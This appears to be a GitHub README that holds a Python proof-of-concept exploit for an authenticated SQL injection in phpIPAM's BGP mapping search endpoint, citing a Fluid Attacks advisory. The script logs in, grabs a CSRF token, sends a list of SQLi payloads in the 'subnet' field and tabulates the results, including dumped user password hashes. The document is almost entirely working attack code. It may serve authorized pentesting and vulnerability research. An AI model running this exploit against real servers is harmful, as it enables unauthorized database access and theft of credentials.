README.md
Rendering markdown...
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# The vulnerability was discovered by Oscar Uribe (https://co.linkedin.com/in/oscar-uribe-londo%C3%B1o-0b6534155)
# https://fluidattacks.com/advisories/mercury/
# This is just a PoC to automate the execution of some easy payloads during the engagements/pentests
import requests
import sys
import argparse
import getpass
import urllib3
from bs4 import BeautifulSoup
from tabulate import tabulate
from termcolor import colored, cprint
from res.payloads import simple_payloads
from res.functions import *
urllib3.disable_warnings()
p = argparse.ArgumentParser()
p.add_argument("-d", action='store_true', help="Debug output", default=False)
p.add_argument("-q", action='store_true', help="Do not print the banner")
p.add_argument("--url", help="phpipam url: https://ipamserver:8081/", required=True)
p.add_argument("--user", help="admin user", required=True)
if ("-q" not in sys.argv):
banner()
args = p.parse_args()
debug = args.d
base_url = args.url
login_url = f"{base_url}/app/login/login_check.php"
sqli_url = f"{base_url}/app/admin/routing/edit-bgp-mapping-search.php"
ipamusername = args.user
ipampassword = getpass.getpass(prompt=f'Password {ipamusername}: ')
session = requests.Session()
csrftoken = fetch_csrf_token()
bgp_id = get_bgp_id()
phpipam_session = login(session, login_url, ipamusername, ipampassword, None)
headers = generate_headers(csrftoken, phpipam_session)
for obj in simple_payloads:
cprint(f"\n\n[INFO] Name: {obj['name']} - {obj['description']}\n", "green")
sqli = obj['sqli']
if debug: print(f"[DEBUG] SQLi: {sqli}")
payload = {
"subnet": sqli,
"bgp_id": bgp_id
}
response = requests.post(sqli_url, data=payload, headers=headers, verify=False)
if debug: print(f"[DEBUG] {response.text}")
bs = BeautifulSoup(response.text, "lxml")
response_tr = bs.find_all("tr")
table = []
if len(response_tr) == 0:
alert = bs.find("div").get_text()
print(colored(f"[ERROR] {alert}", "red"))
continue
# if we got more than one result, we have to loop tr first
for tr in response_tr:
response_td = tr.find_all("td")
# We got results
if len(response_td) > 0:
# as we use tabulate to prettyprint the results
# we want to create 3 columns but the hash of phpipam users might give some problems. We need to split the response and format each column
output = response_td[2].get_text()
output = output.strip()
# last column
space_splitting = output.split(" ")
col2 = space_splitting[1].replace("(", "").replace(")", "")
# middle column
slash_chunk = space_splitting[0]
aux = slash_chunk.split("/")
col1 = aux[len(aux) - 1]
# first columns
## removing the last part (which is part of the col1) and join with / which may be part of the hash
aux.pop()
col0 = "/".join(aux)
row = [ col0, col1, col2]
table.append(row)
print(tabulate(table, headers=obj['tabulate_headers'], showindex="always", tablefmt="presto"))